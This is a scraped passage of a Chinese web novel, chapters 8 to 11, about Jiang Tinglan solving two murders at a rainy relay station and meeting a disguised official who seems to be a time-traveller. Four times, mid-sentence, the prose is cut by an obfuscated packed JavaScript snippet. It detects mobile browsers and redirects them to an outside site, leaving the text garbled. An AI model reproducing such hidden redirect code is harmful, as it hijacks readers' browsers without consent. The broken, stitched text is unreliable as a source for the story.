小满掀开车帘一看:“怎么下雨了?” “已经下了一会儿了。”阿胡道。 听到她们谈话的内容,他不敢打扰。 “娘子,前面在下雨。”小满缩回头道,“还不小。” 江听澜听声音也听出来了,对阿胡道:“前面应该快到大安驿了,下雨赶车不安全,在驿站住一晚吧。” 小满跟安娘对视一眼,都忍不住道:“阿胡的嘴果然有毒。” 阿胡在外面不敢吱声。 不多时到了大安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906087|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驿站,雨势果然更大,不适合再赶路。 只是时间这么早,驿站竟关门了。 阿胡先停好车,再上前敲门。 半晌才有个驿卒前来开门,嘴里还嘀咕着:“下雨天赶甚么路……” 话说到一半,呆了呆。 江听澜扶着小满的手下了马车,安娘急忙为她撑开油纸伞。 “怎么了?”江听澜注意到驿卒神色不对,问道。 “小娘子。”驿卒回过神来,拦住他们,“今天驿站已经住满了,这里离京都不远,天黑之前肯定能赶到,要不你们再赶一程?” “你这厮好歹毒的心肠。”阿胡怒了,“这样的大雨天叫我们赶路?万一路上出点事,你可知道……” 江听澜拦住他,好脾气地对驿卒道:“无妨,房间满了,我们便在大堂坐一晚,能避雨就行。” 她声音甜美,态度又好,驿卒耳根一红,到底没再劝,退后一步道:“那你们跟我来吧。” 随后将他们带进大堂。 江听澜在门口先扫了一眼,这驿站不小,大堂内有十多张桌子,此时只有四张上坐着人。 三张在中间,两个年轻郎君单独坐在角落。 小满见到屋子里的人,忽然“嘶”了一声,小声道:“阿胡你以后真的别说话了。” 阿胡:“……又怎么了啊?” “认识?”安娘问。 小满点点头:“看到中间那桌了吗?那几个人曾经想调戏娘子。” 安娘和阿胡顿时都攥紧了拳头。 “进去吧。”江听澜却没注意那几个“熟人”,反而多看了角落那张桌子两眼,方走进去,挑了张跟其他桌都不挨着的桌子坐下。 她有心避嫌,有人却故意找事。 “小娘子,这么大雨还在赶路,是着急去干甚么?”“熟人”桌上一个壮硕男人问道。 内容尚可,语气和表情却很猥琐,还夸张地挤眉弄眼。 周围顿时爆发出一阵更加猥琐的笑。 “我猜是赶着去嫁人。”一个尖嘴猴腮的男子声音最大。 哄笑声更甚。 江听澜也不生气,慢悠悠喝了口茶,等他们声音小下来才道:“我正是赶着去嫁人,怎么,有人想送份贺礼?” 那群人没料到她会这样说,一时安静下来。 顿了顿,最先开口那壮硕男人才调笑道:“没问题,娘子晚上来我房间,哥哥送你份大礼。” 江听澜放下手中茶杯,朝阿胡使了个眼色。 阿胡迅速起身,朝中间那桌走去。 壮硕男人、尖嘴猴腮正坐在这一桌,同桌还有一个下巴有黑痣的男人。三人都是一身劲装,风尘仆仆,腰间佩刀。 见到阿胡过来,三人齐刷刷按上刀柄,目露凶光。 阿胡丝毫不受影响,走到几人桌前才道:“我们娘子讲究,一般的礼她不收,几位身上她唯一愿意收下的只有几个——耳光。” 话音落才抬手。 “啪”“啪”“啪”。 那三人早有防备,听着话音不对便开始拔刀,然刀还没拔出来,已经各自挨了一个耳光,无一幸免。 三人既惊且怒,同时拔出刀来。 然而就在此时,头顶忽然传来“轰”一声巨响。 连江听澜都吓了一跳,循声看去,却是这屋顶竟然垮塌了一角,正在角落那桌客人的正上方。 青衣男子已经眼疾手快拽着同伴躲到一边,但两人身上仍不免落满尘土。 烟尘过后,大家才看清,屋顶垮塌后,竟掉下来一张床。 而那张床上,还有对男女赤身裸体地抱在一起。 “大哥,那不是阿嫂吗?!”尖嘴猴腮的男人撞了下身边的壮硕男人,失声喊道。 8. 第 8 章 听到这话,大堂内顿时安静下来,所有人都看向壮硕男人。 男人再也顾不得阿胡和江听澜,提起刀大步朝角落走去。 那两人从楼上摔下来,也是吓得不轻,女人原本还在尖叫,此时也闭紧了嘴巴,整个人瘫软在地,连身上没穿衣服都忘记了。 还是青衣男子眼疾手快,将落在旁边的被子一脚踢过去,刚好盖在女人身上,才挡住众人视线。 “贱人!”壮硕男人这会儿也走到了,提刀就朝女人砍去。 女人瑟瑟发抖,连躲都忘记了。 眼看长刀就要砍中女人的脖子,旁边忽然伸过来一柄剑。 “叮”一声,火星四溅。 长剑架住了大刀。 “滚开!”壮硕男人大怒,“少他娘的多管闲事!” “我能理解你现在生气的心情。”拿长剑的是位俊秀青年,认真道,“但杀人不对,是违法的。” 男人怒极反笑:“你他娘的是甚么东西?管老子违法不违法?” “我乃刑部司员外郎李晷,负责律令颁布、案件审核。”俊秀青年将腰间令牌摘下来给他看,“你说我管不管得了你违法?” 壮硕男人:“……” 知道驿站里可能会遇到官员,但没想到运气这么差,竟遇到一个刑部的。 江湖中人,讲究快意恩仇,杀个把人不算甚么。将尸体往山里一埋、水里一扔,十年八年都找不到。若是报仇杀人被别人知道了,还要赞一句“好汉”。 官府不一样,官府无能迂腐,只会按照条条框框办事,往往并不公平。 可如果不想造反,江湖好汉遇到官员,也得避让三分。 壮硕男人恨恨瞪了地上那对男女一眼,不甘不愿地收回刀。 “既然是当官的,怎么不把这对奸夫□□抓起来?”尖嘴猴腮赶紧支援大哥,“这男的雇我们兄弟护送他进京,却勾搭我大哥的娘子;这女的明明有丈夫,看男的有钱,竟与其通奸。按照律法,应当……砍头吧?” 他并不清楚律法是如何规定的,只是凭感觉,认为奸夫□□都该去死。 说完还得意地看了眼“大哥”,却被大哥狠狠一瞪。 这是甚么值得炫耀的事情吗?还要闹到官府去给别人看笑话? 瘦猴满头雾水,大哥为何不高兴? 正要询问,就听那李晷朗声道:“你们这些所谓的江湖人士,真真是目无法纪。通奸也有很多种情况,每种情况判罚不一样。要看本人是否自愿,是否……” “我不是自愿!”那“奸夫”找到一件衣裳,胡乱往腰上一围,便跪到李晷面前,“是她威胁我,求大人为小民做主。” 此话一出,所有人都傻眼了。 李晷更是连退数步,随后又上前几步,指着“奸夫”怒骂:“天底下竟有你这般厚颜无耻之徒!她一个弱女子,如何威胁得了你?” “大人,人不可貌相啊!”“奸夫”大声道,“她丈夫乃习武之人,她又能弱到哪里去?对吧,刘彪大哥?” 刘彪便是那壮硕男人,听他竟拉着自己作证,气急反而笑:“谢海生,你还真是够不要脸的啊!” 谢海生不理他,径直对李晷道:“大人,我只是个手无缚鸡之力的商人,雇了他们三兄弟护送,如今连账都还没结清呢。原本我看他们身手不凡,心生好感,还想着到京都后要重谢,谁知道……” 刘彪神色微顿。 谢海生继续道:“春花娘子来找我,威胁我要是不与她好,她便告诉她丈夫我非礼她。大人,我的身家性命全在他们手里,如何敢不从?我真的冤枉啊!” 他说得涕泪横下,看着竟有几分情真意切。 可李晷不信,谢海生这番话,分明是在暗示刘彪,只要帮他说话,他会重谢。 只是他没明说,要怎么反驳呢? 没等李晷想好,刘彪果真道:“大人,原本我不该为谢海生说话,可我的良知不允许我撒谎,我娘子确实……不守妇道。” 他竟然帮奸夫说话?大堂内顿时便一片嗡嗡声。 李晷气笑了:“你还有良知呢?” “我两个兄弟都可以作证,对吧?”刘彪朝另外两人使眼色。 “啊?对对对。”瘦猴也很震惊,但还是忙不迭点头,“阿嫂,也,也勾引过我,但我没同意。” 倒是那下巴有痣的男人“这”了几声,最终并未落井下石。 刘彪瞪他一眼,转头对李晷道:“大人,刚才是我一时冲动,我现在冷静下来了,绝对不会再杀人。这是我的家事,我自己来处理便好,就不劳大人费心了。” 李晷没想到事情会往这个方向发展,眼珠转了好几圈,忽然道:“你们自己刚才还调戏别的娘子呢,怎么好意思说自己娘子不守妇道?她不过是犯了跟你一样的错!” 江听澜本来看得有些无聊,正有一下没一下转着手里的茶杯,闻言抬头看了李晷一眼。 “大人,你甚么意思?”刘彪急了,“男人和女人怎么能一样呢?” “人人生而平等,男人和女人本就该一样!”李晷慷慨激昂地道。 其他人听到他这番言论都惊呆了。 江听澜扶了扶额,道:“大人,你刚才还说他们不懂律法。这君为臣纲,父为子纲,夫为妻纲,怎么能说人人平等?” 被有心之人听去告发了,一顶“谋逆”的帽子扣下来,这李晷都不用等到秋后,马上就会被砍头。 经她提醒,李晷也意识到了,忙找补道:“不要歪曲我的意思,我是说在这件事情里,刘彪和春花娘子都有错。” “大人!”可能是看李晷一直在为自己说话,春花娘子忽然大声道,“这些人全是畜生,奴家也是不得已!求大人为奴家做主!” 她说着便跪下磕头。 “别激动。”李晷急忙道,“有话慢慢说。” 春花娘子满脸泪痕,恨声道:“大人,我是被刘彪掳走的良籍女子,他们三人武艺了得,我为了活命不得不跟着他。他将我带在身边,一方面是防止我逃走,另一方面也是因为他们做护卫,遇到的大多都是有钱有权的人,他就安排我去勾引主顾,成功了再倒打一耙,趁机讹钱……” “胡说八道!”刘彪气急败坏,再次抽出刀要去杀春花娘子。 “你敢!”李晷也再次拦住他。 刘彪看看他,忽然道:“大人如此维护这贱婢,莫非是看上她了?大人可以直说,送给大人便是。” “她又不是货物,岂能随意变卖赠送?”李晷眉毛一挑,怒道。 刘彪委实没想到他抓的重点会如此奇怪,一时竟无话可说。 “你若问心无愧,便等她说完再一一反驳就是。”江听澜适时开口,“如今这般模样,倒像是做贼心虚。” 刘彪无奈,愤愤道:“好,让她说!” 春花娘子接着道:“这计谋有时候成功,有时候不成功,但每一次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906088|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事后我都要遭到一顿毒打。” 说着,伸出一条胳膊来,上面果真青紫一片,新伤叠着旧伤。 李晷咬牙道:“该死!” 刘彪则在同时道:“不守妇道!” 春花娘子缩回手臂,继续道:“这次也一样,刘彪让我去勾引谢海生。刚开始谢海生并未上钩,待我始终有礼。我以为他是正人君子,心生好感,便告知他真相,让他提防刘彪。他当时表现得很感动,还说等到了京都,愿意带我脱离苦海。我信了他,以为他是个值得托付的人,才会跟他……没想到,他也是个畜生。大人,我做错了事,愿意接受处罚,但这帮禽兽也不该逍遥法外!” “她说的可是真?”李晷问刘彪。 “一派胡言!”刘彪自然不可能承认,“全是污蔑!” 谢海生也站在刘彪这边,说春花娘子撒谎。 春花娘子这时候也不哭了,只是恨恨地盯着他们。 “你们各有说辞,本官还得查证。”李晷也没办法,对驿丞道,“将他们三人分开关押,待明日雨停,再带去刑部。” 驿丞答应一声,安排人将三人关起来。 外面下着大雨,驿站里的人正无聊,突然出了这么一档子事,个个津津乐道。 江听澜扫了一圈,发现那位青衣郎君不知何时已经离开了,转头唤来驿卒:“可还有空房间?” 驿卒有点不好意思,但还是点头:“有的。” 江听澜便要了三间上房。 阿胡去拿行李,江听澜三人先回房间休息。 “娘子,你说,那春花娘子说的是真的吗?”小满一关上门就忍不住问江听澜。 江听澜道:“真,也不真。” “啊?”小满傻眼,“甚么意思?” 不等江听澜再回答,外面忽然响起敲门声。 安娘就在门边,随手拉开房门,愣了下:“李大人?” “打扰了,我找你家娘子有点事。”李晷说着,径直朝屋子里走进来。 “哎……”安娘想要阻拦,见江听澜摇头才作罢。 她关上门一回头,发现李晷正盯着江听澜出神。 江听澜这会儿摘了惟帽,露出一张白皙芙蓉面,被一身素净衣裙衬得极为惊艳。 “李大人!”安娘用力咳嗽,“找我们娘子可是有甚么事?” 小满也以倒茶为借口,挡在李晷和江听澜中间。 江听澜轻笑一声,对二女道:“无需介意,李大人并非李大人。” 安娘和小满对视一眼,都不太明白这句话的意思,刚要询问,李晷忽然激动地冲上前,一把抓住江听澜的手:“我就知道!我之前看你的眼神就知道,你也是……老乡,对不对?” “李大人,别激动。”二女上前拉开他的手,将人推开,“有话慢慢说。” 李晷顾不上她俩,歪着头冲江听澜道:“奇变偶不变?” “大人误会了。”江听澜摇摇头,道,“我不是你的老乡。” “不可能!”李晷不死心,又道,“天王盖地虎?” 江听澜:“真不是。” 李晷这次都不给她说话的机会—— “大河向东流哇?” “西湖美景,三月天嘞?” “ABCDEFG?” “氢氦锂铍硼?” “3.1415926?” “……” 江听澜:“……” 9. 第 9 章 “李大人是不是生病了?”安娘跟小满对视一眼,都有些担心。 怕李晷病糊涂了,伤害江听澜。 “你真不是来自我的家乡?”李晷终于讪讪地停下来,却还在做最后的挣扎。 江听澜也再次摇头:“大概能听出来,刚才李大人所说,应该是暗号一类?但很可惜,我来自清水县,并非大人的故人。” 李晷紧紧盯着她,似是想从她的表情看出破绽。 许久之后,他叹了口气,在江听澜对面坐下来,道:“好吧,既然你不是,为何知道我并非李大人?” 江听澜:“因为你是女子。” 李晷“蹭”一下又站了起来,低头检查自己身上哪里有破绽。 “他竟是女子?”小满跟安娘对视一眼,也很惊讶,她们都没看出来。 大夏民风还算开放,然而女子依然需要依附男子而生,因此很多女子面对男人时,便总觉得低人一等。让她们着男装,扮得再像,步态、神情、语气都不如男子自信,很容易被人看出破绽。 “李晷”不一样,她虽长得俊秀,行为举止却大方自然,完全不会让人多想。 “大人不必找了。”江听澜道,“你的装束行为都并无破绽。” “那你是如何看出来的?”“李晷”好奇地问。 江听澜道:“别的信息,暂时不方便告诉你。而且,你很快就会知道。” “李晷”顿了顿,倒也没追问,只是道:“可惜你不是……是我找错了人,那便不打扰了,告辞。” “大人请稍等。”江听澜拦了下。 “既然已经看出我是女儿身,娘子私下里就不必叫我‘大人’了。我叫李月,是李晷的双胞胎妹妹,娘子可以直接叫我名字,或者‘月月’都行。”李月冲江听澜拱手道,“但如果有其他人在,还请娘子帮我保密。” “好说。”江听澜点头应下。 李月笑了笑:“还未请教娘子姓名?” “我叫江听澜。” “江听澜……”李月猛地睁大眼睛,“太子妃?” 看来京都关于这件事,果真已经传遍了。 “不是,至少现在还不是。”江听澜无奈地笑笑,“你可以叫我‘澜儿’。” 李月“啧”了一声:“以我的判断,很快就是了。如果不是,一定是圣上和太子眼光不好。” 江听澜微微皱眉,随后问了句:“月月,有个事我挺好奇的——你的家乡全是好人,没有坏人吗?” “那不可能!”李月摆摆手,“哪里都有坏人……” 话说到一半,她明白过来江听澜的意思,自动闭了嘴。 她今天一到江听澜这里,便将自己暴露得彻彻底底,说话大大咧咧、毫无顾忌。 这是因为她先入为主,认定了江听澜是自己的“老乡”。 可哪里都有坏人,即便真的是“老乡”,就不会害“老乡”吗? 诈骗集团骗的,几乎全是亲朋好友。 到了陌生世界,每个人都会遇到不同的难处、有不一样的人生目标,谁说“老乡”就是同路人? 仿佛被一盆冰水兜头浇过来,李月瞬间清醒许多。 一个陌生且等级森严的世界,一句话不对是真的会掉脑袋。 她没有资格傲慢。 “多谢娘子提点。”李月朝江听澜郑重一揖。 江听澜替她将略有些歪掉的发冠理正,然后才道:“我也刚从自幼住惯了的老家而来,还没入京都的城门便已经有诸多顾虑。我多少能理解一点娘子现在的心情,但我们都需要适应新生活,希望我们都能快些适应。大襄京都城欢迎娘子,也欢迎我。” 她最后这句话,叫李月又有点怀疑她的身份。 但这次她没有再多问。 即便江听澜真是“老乡”,她既不愿意承认,必然有她的理由,她不能强人所难。 “好。”李月用力点点头,“以后在京都,娘子若有需要,可以去朱雀大街李宅找我。” 江听澜答应下来,李月这才告辞。 等她离开后,小满随口道:“听说朱雀大街住的,都是世家贵族?” “那李晷年纪轻轻就做到员外郎,显然是有背景的。”安娘道,“只是没想到李娘子竟会冒充朝廷命官,胆子真大。” 对于李月说的那些奇怪的话,她俩都没再提。 小满是因为见识过类似的场面,安娘则是因为谨慎,不该打听的绝不乱打听。 “刑部……”江听澜沉吟一阵才道,“今晚小心一些。” “是。”安娘答应一声,赶紧去找阿胡,商量姐弟俩晚上轮流值夜。 * 翌日早上,江听澜是被喧闹声吵醒的。 她睁开眼刚好看到安娘轻手轻脚推门进来,问道:“外面发生甚么事了?” “谢海生死了,春花娘子和刘彪跑了。”安娘道。 “哦?”江听澜很感兴趣的样子,直接下了床,“走,看看去。” 昨晚刘彪三人分别关在柴房和杂物间,此时外面已经围了一圈人,正议论纷纷。 “出甚么事了?”李月也在这时候赶了出来,边整理衣冠边问道。 “李大人,谢海生死了!”驿丞在最里面,哭丧着脸道。 人死在驿站,既晦气还麻烦。 其他人纷纷让出道来。 江听澜跟在李月身后,看到了谢海生。 他的死相比起赵昌来,可以称得上文雅。 胸口中了一刀,表情甚至没有太多痛苦,反而是惊讶多一些。 “怎么回事?不是让你们彻夜守着吗?”李月皱眉看向旁边的驿丞,“为何还是让人给杀了?是谁干的?” 驿丞有苦说不出:“安排人看守了,但没想到凶手手里有迷香……他们醒了。” 他一大早起来,看到两个驿卒昏睡在门外便知道不好。 果然,犯人死的死,逃的逃。 他赶紧一边保护现场,通知李月,一边给两个驿卒泼凉水,可算是把人给弄醒了。 可惜两个驿卒也提供不了甚么线索:“我们甚么都不知道,莫名其妙就睡着了;没听到任何动静,没发现异常,也没看到人过来。” 李月想去看尸体,但她可能是第一次看到真正的尸体,稍一靠近双腿就明显在颤抖,眉头紧紧皱成一团,紧紧捂着嘴,想来是快吐了。 “大人。”江听澜将她叫到一边,道,“谢海生的表情惊讶大过痛苦,凶手应该是他熟悉、且他认为不会杀自己的人。” “对!”李月一拍脑袋,转头在人群里搜索一圈,目光锁定刘彪两个同伴,“昨晚你俩甚么时候回的房间?中途有没有出来过?” “我们很早就回房了,一直在睡觉,没出过房间!”瘦猴急忙道。 另一个黑痣却道:“要说认识,大家一起在驿站待了半天,基本都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906089|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识。惊讶并不代表谢海生看到的凶手就是他熟悉的人,还可能是他没想到的人,比如一个看似不相干的小娘子,或者某个当官的。” 这话显然是冲着江听澜和李月来的。 不少人都觉得有道理,纷纷点头。 李月怒道:“我们为甚么要杀他?” “李大人昨天一直护着春花娘子,谁知道是不是替她报仇?”黑痣道,“小娘子的护卫功夫厉害,大家有目共睹,杀人于他而言,应该很容易吧?” “如果是我的护卫杀人,我会让他先杀了你大哥。”江听澜看着黑痣,“可不会放他走。” 黑痣别开头,一时无话。 江听澜若有所思,看向瘦猴。 “对啊,她没理由放走大哥。”瘦猴抓抓脑袋,“会放走大哥的,只有……” 他看看自己再看看黑痣,猛猛摇头。 “不要被他们带跑。”黑痣拍拍他肩膀,“昨晚我俩一直在一起,都没有杀人。” “对!”瘦猴用力点头,然后突然灵机一动,“谁说大哥跑了?说不定他也被你们杀了,只是把尸体藏起来了,是吧……二哥?” 他觉得自己这个猜测还很聪明,没想到黑痣表情瞬间冷了下去。 江听澜笑道:“巧了,我也是这样认为的。” 瘦猴一愣,她怎么还认同自己了? “你认为刘彪和春花娘子死了?”李月也没想到,惊讶地问。 “我只认为刘彪死了。”江听澜道,“春花娘子死没死,不好说。” 李月更惊讶:“有证据吗?” “昨天下了很大的雨,大家脚上都沾了泥水,走动间必然会留下痕迹。”江听澜指着三间房道,“你们看这个脚印……” 她指着一个有着特殊纹路的脚印道:“这是驿站诸位郎君的脚印,因为是统一款式,所以脚印除了大小不一,纹路完全一致。除去他们的脚印,春花娘子和谢海生的门口,还有两串脚印。” 她将脚印圈出来给大家看,又道:“一大一小,应该是一男一女,刘彪门口却没有。” 经她这样一说,形势瞬间便清晰多了。 李月沉思一阵,道:“所以,有人杀了刘彪,然后清理了现场,将脚印一并清除了?” “对,有人想造成刘彪杀了谢海生,然后带着春花娘子逃跑的假象。”江听澜起身道,“如果是刘彪做的,他要么把所有痕迹都清除掉,要么都不清除,没理由只清除自己房间门口的。” “对对对,很有道理。” “刘彪真的死了?” “那是谁杀了他?” “春花娘子呢?” “……” 江听澜说的有理有据,非常令人信服,人群已经炸开了锅。 连瘦猴都碰了下同伴的胳膊:“好像有道理啊……” “这一切都是你的猜测。”黑痣冷着脸看向江听澜,“证据呢?尸体在哪里?没有尸体,怎么证明你说的话?” “别着急啊。”江听澜笑吟吟地看着他,“我原本也不知道尸体藏在哪里,但是今天运气好……我想我大概能猜到尸体在哪里。” “在哪里?”所有人几乎异口同声问道。 江听澜走出人群,走向一旁的菜地。 昨天坐在角落那两位年轻郎君一直远离人群,站在菜地边看热闹。 “大概就在这个位置吧。”江听澜指着青衣郎君脚下道。 10. 第 10 章 这二人甚是低调,昨日进驿站后便坐在角落,旁人说甚么也不参与,大家几乎已经忽略了他俩。 此时众人看过去,才发现这二人容貌不俗、气质出众。 尤其是青衣郎君,虽衣着低调,但生得龙眉凤目、英姿勃发,举手投足尽显贵气。 是以众人第一时间竟并未怀疑他,只是安静地看着。 青衣郎君则在看着江听澜。 江听澜戴着惟帽,只隐约能看到一点点轮廓。 “娘子如何得知刘彪的尸体在这里?”青衣郎君朝旁边挪了点位置,问道。 “我说了是猜的呀。”江听澜反问,“郎君的意思,是刘彪的尸体真在你脚下?” “我不知。”青衣郎君并不急,“是娘子说的。” 江听澜扭头看了李月一眼,李月回过神来,叫驿丞安排人往下挖。 昨天大雨,菜地本就泥泞不堪,看不出丝毫异样。 两个驿卒一边挖地,一边怀疑。 谁杀了人,把尸体埋在这么明显的位置? 然而不多时,一个驿卒便惊叫着跳开:“啊!” 刚才他一铲子下去,挖出了一片衣角。 下面真的埋着人! 所有人全围了过来。 驿丞急得自己接过铲子往下刨。 围观众人几乎是屏住了呼吸,看着尸体一点点露出真面目——还真是刘彪! “这位娘子神了呀,这都能猜到?” “莫不是仙女下凡?” “也可能是死者托梦。” “说不定她才是凶手。” “……” 众人顿时议论纷纷,说甚么的都有。 瘦猴嘴里喊着“大哥”,整个人都傻了。 黑痣则对江听澜道:“你刚才说,如果是你,会先杀我大哥。现在大哥的尸体,也是你指出来的。我不信会有这么巧的事……拿命来吧,你这个杀人凶手!” 他话还没说完,便拔刀砍过来。 然而阿胡和安娘早有防备,比他还先动。 姐弟俩配合,一招就夺了他的刀,阿胡还顺势往他背上一按,压得人直接跪倒在江听澜面前。 “我要不那么说,怎么引你露出破绽啊?”江听澜笑吟吟地道,“是吧,薛三?” 薛三震惊不已:“你是谁?怎么认得我?” 江听澜却又不理他了,转头对其他人道:“尸体的位置确实是我猜的,但也不是瞎猜。我天生嗅觉比较灵敏,来的时候就闻到了菜地方向有血腥味。刚才王树提到刘彪已死……” 瘦猴听她报出自己的名字,惊恐不已:“你你你,你到底是谁?” 江听澜也不理他:“当时薛三就脸色大变,下意识看了眼菜地。见那边有人后,他汗都出来了。之后更是几次想往菜地方向看,又强行忍住。他没意识到,欲盖弥彰反而更引人怀疑。” 薛三额头滴了一滴汗下来。 这次大家都看清楚了。 薛三咬咬牙,强作镇定:“这些算甚么证据?” “我也没说这些就是证据啊。”江听澜轻笑一声,“要证据还不简单?” 她走向刘彪的尸体,蹲下身来,也不避讳,掏出张手帕将尸体表面的浮土清理干净。 其余人看得目瞪口呆。 便是那位刑部的李大人,尚且不敢靠近尸体多看一眼,更别提上手,这小娘子胆子也太大了! 李月倒是对江听澜越发敬佩,也努力克服心底的不适,走近一些,站在江听澜身边。 “各位请看,刘彪死前的表情,比谢海生还要惊讶。”江听澜指着刘彪的脸道,“凶手是谁,才会让他如此惊讶?” 刘彪刚死不久,脸上也无狰狞伤口,并不太吓人,不少人闻言也凑上来看了看。 “还真是,看得出死前很震惊。” “那就只能是‘自己人’了。” “……” 所有人都看向薛三和王树。 王树还没从一连串的变故中回过神来,薛三脸色难看到极点:“这就算证据?” “别急呀,这个不服我们就看下一个,不会让你跑掉的。”江听澜又将刘彪胸前伤口处的泥土清理干净,“你看,伤口非常清晰,宽约寸许,和你们兄弟三人的佩刀完美相符呢。” 薛三张了张嘴,刚要说话,江听澜又抢着道:“如今在这驿站里的人,带刀的并不多,有三位带的是仪刀,一位带障刀,只有你们三位带横刀。” 她这话一出,不管带没带刀都四处张望,然后发现她说的完全正确,不由心生敬佩。 这小娘子来的最晚,了解的信息却最多,观察能力着实厉害。 “如果你还想狡辩,说或许有人将刀藏起来了,那下面这个证据,你应该没话可说了……”江听澜已经清理到尸体的手部,此时顺势将右手抬起来,“诸位请看,刘彪的指甲里有少许血肉,说明他死前抓过凶手……” 话还没说完,薛三忽然掉头就跑。 青衣郎君在旁边站了半晌,这会儿听到江听澜的话,正朝这边走过来。 薛三看他一直离众人远远的,以为他不会多管闲事,跑的就是他的方向,这下直接撞到他身上。 黑衣郎君眼疾手快,一把将薛三揪过来,也朝地上一按,又顺手扯开他的衣服。 这一连串动作在眨眼间完成,薛三本就撞得头晕眼花,还没反应过来,已经重新跪在了地上。 而他露出的锁骨处,果真有一道明显的抓痕。 伤口处还微有些渗血,显然是新伤。 “你还有甚么话说?”李月飞快拔出宝剑,架在薛三脖子上问道。 薛三闭紧嘴巴,真的没话说了。 李月更生气:“为甚么要杀人?春花娘子哪里去了?” 薛三依然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906090|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答。 李月怒道:“那我就带你回刑部……” 话还没说完,就听到身后传来“砰”一声巨响。 众人都吓了一跳,纷纷回头。 却见一群官兵气势汹汹地走了进来,为首男子穿绯色官衣,容貌端正,年纪甚轻,不过二十出头的样子。 他一进门就大声道:“听说驿站出了命案?尸体在哪里?” 李月下意识就要回答,江听澜却忽然将她往后一拉,同时自己往前走了两步,两人错身的瞬间,她听到江听澜小声说了句:“躲好,别出声。” 大庭广众怎么躲好?为甚么不能出声? 李月心里疑惑,但她现在对江听澜甚是佩服,也没时间多思考,还是遵从她的意思,又往后挪了挪。 大家都在关注新来的郎君,倒是没人关注她。 “请问郎君是何人?为何会知道驿站出了命案?”江听澜此时走到了距离绯衣官员面前,朗声问道。 “娘子,这位是大理寺少卿,不得无礼。”驿丞一见到来人就往门口赶,只可惜他离得远,这会儿还没到。他对江听澜印象不错,故而出声提示。 江听澜“哦”了一声,又问了一遍:“请问崔少卿,为何会知道驿站出了命案?是何人报案?” 崔琰景眯了眯眼:“大理寺少卿有两人,你既不认得我,又怎知我姓崔?” “大理寺少卿虽有两人,但如此年轻的只有一人,这不难猜。”江听澜道。 驿丞这时候已经到了,急急道:“大人,大安驿站昨晚确实发生了一起命案,幸亏这位娘子观察入微,如今已经破案了。” 崔琰景面无表情:“如何破的案?” 驿丞急忙将经过大概说了一遍,语气中充满了对江听澜的赞许。 崔琰景听完后,盯着江听澜看了一会儿,才道:“娘子聪慧,胆子也大,着实与别的女子不一样。不知道娘子贵姓?来自哪里?” “我姓江。”江听澜道,“来自清水县。” 此言一出,人群中顿时一阵骚动。 “姓江,来自清水县,莫非是江家那位突然冒出来的嫡长女?” “看来这江听澜还真有点本事,难怪能抢了江三娘子的太子妃之位。” “跟想象中有点不太一样呢。” “……” 相比激动的众人,崔琰景看起来相当平静,好像早知道她的身份:“你是江听澜?” 江听澜:“是。” 崔琰景:“摘下惟帽看看。” 听出他言语不善,安娘跟阿胡姐弟俩都摸向腰间的武器,凝神戒备。 江听澜冲他俩摆摆手,道:“我可以摘,但崔少卿是不是该给个理由?” 崔琰景没有说话。 就在这时候,吹来一阵风,扬起江听澜的惟帽,露出半张脸。 “来人,拿下!”崔琰景面色一沉,喝道。 11. 第 11 章 江家多出个嫡女,且极有可能成为太子妃的事情,早已经传遍整个京都。 大安驿站离京都近,自然也知晓。 原本众人在猜到江听澜身份的时候,对她印象还挺好。不少人还在想,难怪她能打败江三娘子成为太子妃人选,气度才能确实高人一筹,圣上果然圣明。 现在看到崔琰景的态度,众人心中又不免泛起嘀咕。 崔少卿不该连这点眼色都没有,对未来的太子妃如此不礼貌。 难道说,圣上又改主意了,不想让江听澜当太子妃? 或者这江听澜有别的问题? 众人心中一时疑问连连,都不敢动。 崔琰景带来的大理寺衙役们答应一声,朝江听澜围过来。 安娘跟阿胡已经拔出武器,阿胡拿短刀受在江听澜身侧,安娘使用的是软鞭,舞得几人一丈范围内密不透风,让衙役也近不得身。 